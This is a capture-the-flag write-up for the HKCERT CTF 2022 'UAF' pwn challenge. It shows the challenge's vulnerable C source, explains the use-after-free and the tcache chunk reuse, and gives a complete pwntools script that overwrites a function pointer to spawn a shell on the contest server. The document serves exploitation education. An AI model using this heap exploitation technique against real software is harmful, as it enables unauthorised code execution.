# HKCERT CTF 2022 UAF
###### tags: `HKCERTCTF2022` `Pwn`
## Challenge description

It is my first time actually solving heap challenges so I think it is worthwhile to do a write-up before I forget everything like I always do.
As the challenge name implies, the challenge was about exploiting a use-after-free vulnerbility to achieve code execution.
You can checkout the descriptions provided [here](https://https://hackmd.io/@blackb6a/hkcert-ctf-2022-ii-en-6a196795#%E4%B9%9D%E9%BE%8D%E7%81%A3%E7%B6%9C%E5%90%88%E5%9B%9E%E6%94%B6%E4%B8%AD%E5%BF%83--uaf-Pwn) by the challenge author which covered most of the information you need to solve the challenge.
Let us establish some facts about the challenge binary and the libc version.
```
Canary : ✓
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Partial
```
```
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
```
There is a good material if you are unfamiliar with glibc heap implementation:
[PART 2: UNDERSTANDING THE GLIBC HEAP IMPLEMENTATION](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
## Source code
```cpp=
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define ZOO_SIZE 10
#define MAX_NAME_SIZE 0x40
typedef struct Panda Panda;
typedef struct Parrot Parrot;
typedef struct Animal Animal;
typedef void (*speakFunc)(char*);
enum AnimalType {
PARROT,
PANDA
};
struct Animal
{
speakFunc speak;
enum AnimalType type;
char* name;
};
struct Zoo
{
int numOfAnimal;
Animal* animals[ZOO_SIZE];
} zoo = { .numOfAnimal = 0 };
void get_shell() {
system("/bin/sh");
}
void print(char* str) {
system("/usr/bin/date +\"%Y/%m/%d %H:%M.%S\" | tr -d '\n'");
printf(": %s\n", str);
}
void speak(char* name) {
print(name);
}
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
alarm(60);
}
int menu() {
int choice = -1;
print("Welcome to ABC Zoo!!!");
print("1) Add animal");
print("2) Remove animal");
print("3) Report animal Name");
print("0) Exit");
while (1) {
printf("> ");
scanf("%d", &choice);
if (choice >= 0 && choice < 5) {
break;
}
printf("??\n");
}
printf("\n");
return choice;
}
void add_animal() {
int choice;
int size;
int idx;
Animal* animal;
if (zoo.numOfAnimal >= ZOO_SIZE) {
print("[ERROR] The zoo is full.");
return;
}
for (idx = 0; idx < ZOO_SIZE; idx++) {
if (zoo.animals[idx] == NULL) {
break;
}
}
animal = (Animal*) malloc(sizeof(Animal));
print("Type of animal?");
print("1) Parrot");
print("2) Panda");
while (1) {
printf("> ");
scanf("%d", &choice);
if (choice == 1) {
animal->type = PARROT;
break;
}
if (choice == 2) {
animal->type = PANDA;
break;
}
printf("??\n");
}
animal->speak = speak;
print("How long is the name? (max: 64 characters)");
while (1) {
printf("> ");
scanf("%d", &size);
if (size >= 0 && size < MAX_NAME_SIZE) {
animal->name = (char*) malloc(size);
break;
}
printf("??\n");
}
print("Name of animal?");
printf("> ");
read(0, animal->name, size);
zoo.animals[idx] = animal;
printf("> [DEBUG] Animal is added to zone %d\n", idx);
zoo.numOfAnimal++;
}
void remove_animal() {
int choice;
if (zoo.numOfAnimal <= 0) {
print("[ERROR] No animal in the zoo.");
return;
}
print("Zone number? (0-9)");
while (1) {
printf("> ");
scanf("%d", &choice);
if (choice >= 0 && choice < ZOO_SIZE) {
break;
}
printf("??\n");
}
if (zoo.animals[choice] == NULL) {
print("[ERROR] No animal in this zone.");
return;
}
free(zoo.animals[choice]->name);
free(zoo.animals[choice]);
printf("> [DEBUG] Animal is removed from zone %d\n", choice);
zoo.numOfAnimal--;
}
void report_name() {
int choice;
if (zoo.numOfAnimal <= 0) {
print("[ERROR] No animal in the zoo.");
return;
}
print("Zone number? (0-9)");
while (1) {
printf("> ");
scanf("%d", &choice);
if (choice >= 0 && choice < ZOO_SIZE) {
break;
}
printf("??\n");
}
if (zoo.animals[choice] == NULL) {
print("[ERROR] No animal in this zone.");
return;
}
zoo.animals[choice]->speak(zoo.animals[choice]->name);
}
int main(int argc, char const *argv[]) {
int leave = 0;
init();
while(!leave) {
switch (menu()) {
case 1:
add_animal();
break;
case 2:
remove_animal();
break;
case 3:
report_name();
break;
default:
leave = 1;
}
printf("\n");
}
return 0;
}
```
## Vulnerbility Analysis
So basically you have three operations:
1. Add animal
2. Remove animal
3. Report animal Name
The first problem we observe in the program is the function `remove_animal` does not set the pointer `zoo.animals[choice]` to `Null`. The dangling pointer would being kept in the array `zoo.animals` which may be later referenced.
The second problem we observe in the program was the function `report_name` does not check if `zoo.animals[choice]` was removed or not before invoking `zoo.animals[choice]->speak(zoo.animals[choice]->name);`. Combining with the first problem, we could see this is a typical use-after-free.
## Exploitation
To achieve code execution, we could simply overwrite the `zoo.animals[choice]->speak` in `Animal`
The function `add_animal` will always allocate two chunks as shown in the following code.
```cpp=
animal = (Animal*) malloc(sizeof(Animal));
...snip...
scanf("%d", &size);
if (size >= 0 && size < MAX_NAME_SIZE) {
animal->name = (char*) malloc(size);
break;
}
...snip...
print("Name of animal?");
printf("> ");
read(0, animal->name, size);
}
```
The first allocatation is for the `Animal` structure and the second allocation would be used to store the name with a user specified size.
Do note that the user can control the content in `animal->name` as the line code `read(0, animal->name, size);` reads user defined number of bytes from STDIN.
Let us take a look at the structure of Animal
```cpp=
typedef void (*speakFunc)(char*);
struct Animal
{
speakFunc speak;
enum AnimalType type;
char* name;
};
```
The size of this structure is probably 24 bytes (speakFunc 8 byte + enum AnimalType 8 byte + char* 8 byte).
When `malloc(sizeof(Animal))` was called, the heap manager will allocate a chunk with size 0x20. If this chunk is freed, it will be going to the tcache. If any memory allocation request with size smaller or equal to 0x20, this chunk will be reallocated.
### How could we overwrite the `zoo.animals[choice]->speak`?
We can see that the member variable `speak` is at the begining of `Animal`. Our goal is to allocate the chunk that was previously allocated for `Animal` when `animal->name = (char*) malloc(size);` was executing, then we could overwrite the first 8 byte of the memory as the line of code `read(0, animal->name, size);` allows user to supply data via STDIN. This way the user can overwrite `zoo.animals[choice]->speak`.
### How to get chunk previously allocated for `Animal` to be reallocated when the program is prompting for the name?
Lets have a look at `remove_animal`
```cpp=
free(zoo.animals[choice]->name);
free(zoo.animals[choice]);
```
Since the `Animal` chunk `zoo.animals[choice]` is last freed, we will always get the `Animal` first in `add_animal` as tcache is First-in-last-out (FILO), so adding 1 and then immediately freeing it and then immediately adding back will get back the same order of chunks.
My solution involves the following order of operations:
1. Add two animals with name size longer than 0x30
2. Free animals in zone 1 and zone 0 in order. The tcache would look like this. 2 chunks with size 0x20 and 2 chunks with size larger than 0x20. Note that both chunk with 0x20 are previously allocated for `Animal`.

3. Add animal with name size smaller than 0x20. Now you could get two chunks allocated for `Animal`, and one of them you could control by inputting the name.
4. To verify you can control execution flow, try name the animal at step 3 to `aaaaaaaa`, and report_name on zone 1. Put a breakpoint at `report_name+256` and observe rip will go to `0x6161616161616161`

> [time=Wed, Nov 16, 2022 9:06 PM]Why zone 1 instead of zone 0? tcache is a FILO data structure. Since zone 1 was freed first, the `Animal` chunk of zone 1 is being reallocated last, hence being allocated to the `animal->name`
### Where do we control rip to go for code execution?
Do note that PIE is not enabled and there is a handy function in the challenge binary. By executing this function, we can get a shell.
```cpp=
void get_shell() {
system("/bin/sh");
}
```
To find the address of this function, you can try pwntool
```python=
from pwn import *
chall = ELF("./chall")
shell = chall.symbols["get_shell"]
```
Or objdump
```
objdump -D _chall | grep get_shell
0000000000401276 <get_shell>:
```
## Solve script
```python=
from pwn import *
context.log_level = "debug"
def _add(p,namesize,name):
p.recvuntil(b"> ")
p.sendline(b"1")
p.recvuntil(b"> ")
p.sendline(b"1")
p.recvuntil(b"> ")
p.sendline(namesize)
p.recvuntil(b"> ")
p.sendline(name)
p.recvuntil(b'> [DEBUG]')
def _remove(p,idx):
p.recvuntil(b"> ")
p.sendline(b"2")
p.recvuntil(b"> ")
p.sendline(idx)
p.recvuntil(b'> [DEBUG]')
def _report(p,idx):
p.recvuntil(b"> ")
p.sendline(b"3")
p.recvuntil(b"> ")
p.sendline(idx)
chall = ELF("./_chall")
shell = chall.symbols["get_shell"]
# p = process(chall.path)
p = remote("chal.hkcert22.pwnable.hk", 28235)
_add(p, b"63",b"aaaa")
_add(p,b"63",b"aaaa")
_remove(p,b"1")
_remove(p,b"0")
_add(p,b"24",p64(shell))
_report(p,b"1")
p.interactive()
```